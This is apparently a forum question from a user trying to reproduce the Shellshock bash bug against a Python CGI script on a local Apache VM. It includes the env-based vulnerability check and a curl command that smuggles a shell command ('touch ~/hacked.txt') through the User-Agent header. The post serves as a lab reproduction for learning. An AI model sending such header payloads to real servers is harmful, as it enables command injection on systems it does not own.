1

I have been trying to reproduce the Shellshock bug on my local 14.04 Ubuntu VM without any luck. I know my local bash version is still vulnerable because the following command prints out the commented part:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
# vulnerable
# this is a test

My current setup is a very simple Python CGI script running on Apache2. Assuming my virtual host configuration just works, here is my Python script in its entire glory:

#!/usr/bin/python
import os

val = os.environ.get('HTTP_USER_AGENT')

print "Content-type:text/html\r\n\r\n"
print "<html>"
print "<head>"
print "<title>Shellshocked!!</title>"
print "</head>"
print "<body>"
print "<h2>Hi world; ua=%s</h2>" % val
print "</body>"
print "</html>"

I call this web page using curl and the following command:

curl -H "User-Agent: () { :; }; touch ~/hacked.txt" http://localhost/cgi-bin/index.py

The output is:

<html>
<head>
<title>Shellshocked!!</title>
</head>
<body>
<h2>Hi world; ua=() { :; }; touch ~/hacked.txt</h2>
</body>
</html>

As you can see, the attack gets passed on to the page but nothing is created in the home directory. Any clues as to why the attack doesn't work? The relevant details about my bash version are as follows:

adminuser@home:/bin$ bash --version
GNU bash, version 4.2.45(1)-release (x86_64-pc-linux-gnu)

Also I must mention that my /bin/sh is symlinked to /bin/dash in case that makes a difference though that is also vulnerable since the above test for vulnerability still works.

1

0

You must log in to answer this question.

Browse other questions tagged .